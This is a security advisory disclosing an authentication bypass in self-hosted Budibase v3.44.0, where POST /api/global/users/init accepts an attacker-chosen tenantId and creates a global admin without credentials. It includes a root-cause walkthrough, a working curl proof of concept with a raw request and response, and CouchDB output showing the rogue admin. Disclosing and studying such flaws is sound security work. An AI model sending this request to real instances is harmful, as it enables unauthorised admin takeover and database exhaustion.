Vulnerability GHSA-25qc-m4pw-2w8r
Summary
Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)
Details
Description
Summary
On a self-hosted, single-tenant Budibase instance (multiTenancy:false), the public bootstrap endpoint POST /api/global/users/init remains fully exploitable after the instance has been provisioned. Its "already initialised" guard (checkAnyUserExists()) is evaluated inside a tenant-scoped database context derived from an attacker-controlled tenantId in the request body. Because the tenancy layer never constrains that tenantId to the only legitimate tenant (default) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (<tenantId>_global-db) and a global-admin user document (admin.global = true, builder.global = true) inside it - with no authentication and no CSRF token.
This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.
Details
Root cause chain (source, tag v3.44.0):
packages/worker/src/api/index.ts:41-POST /api/global/users/initis inPUBLIC_ENDPOINTS, soauth.buildAuthMiddleware(PUBLIC_ENDPOINTS)marks itpublicEndpointand the "no public access to worker" gate (api/index.ts:159-165) lets it through without any session. It is also inNO_TENANCY_ENDPOINTS(api/index.ts:83), so the tenancy middleware does not pin the request todefault- the tenant is taken verbatim from the request body - and inNO_CSRF_ENDPOINTS.packages/worker/src/middleware/cloudRestricted.ts:10,25- thecloudRestrictedguard only enforces the internal API key when!env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL. On a self-hosted instance (SELF_HOSTED=true) it is a no-op (return next()), socloudRestrictedRoutesprovides no protection here.packages/worker/src/api/routes/global/users.ts:69-79-cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser).packages/worker/src/api/controllers/global/users.ts:232- the handler runsawait tenancy.doInTenant(tenantId, …)using the attacker-suppliedtenantId.packages/worker/src/api/controllers/global/users.ts:238- the only guard,const userExists = await checkAnyUserExists(), throws 403 only if a user exists in the current tenant context.packages/worker/src/utilities/users.ts:3-15-checkAnyUserExists()callstenancy.getGlobalDB(), which resolves to<tenantId>_global-db. For any unusedtenantIdthis DB is empty → the guard passes →userSdk.db.createAdminUser(email, tenantId, …)(users.ts:247) creates a full global admin.
The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant default exists; init is one-time") is never enforced against the request-supplied tenantId, so the guard is evaluated against a namespace the attacker chooses.
Configuration confirmed via GET /api/system/environment → {"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}.
PoC
Target http://127.0.0.1:3014 (Budibase v3.44.0-cloud.2). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted.
Step 2 - PAYLOAD: supply any unused tenantId → the guard is bypassed and a global admin is created, fully unauthenticated
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"Pwned!2026#bb","tenantId":"f7poc"}'
Burp - Request
POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 78
{"email":"[email protected]","password":"Pwned!2026#bb","tenantId":"f7poc"}
Burp - Response
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"[email protected]"}
The single differential - tenantId:"default" → 403, tenantId:"f7poc" → 200 with a persisted us_… id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.
Step 4 & 5 - datastore side-effect: a new <tenant>_global-db and a real global-admin document
Read directly from CouchDB inside the container ($COUCH_DB_URL = http://admin:…@127.0.0.1:5984):
GET /_all_dbs =>
[
"app_cc322a9cd27a492eb934f43b146c6e81",
"app_dev_cc322a9cd27a492eb934f43b146c6e81",
"f7poc_global-db", <-- created by the unauthenticated init call (tenantId=f7poc)
"global-db" <-- legitimate default-tenant global DB
]
rogue DB 'f7poc_global-db' present: True
The document created in f7poc_global-db is a full global admin:
{
"_id": "us_d0c2b6c9014a43e2899a2770d2e6280c",
"email": "[email protected]",
"admin": { "global": true },
"builder": { "global": true },
"tenantId": "default",
"roles": {}
}
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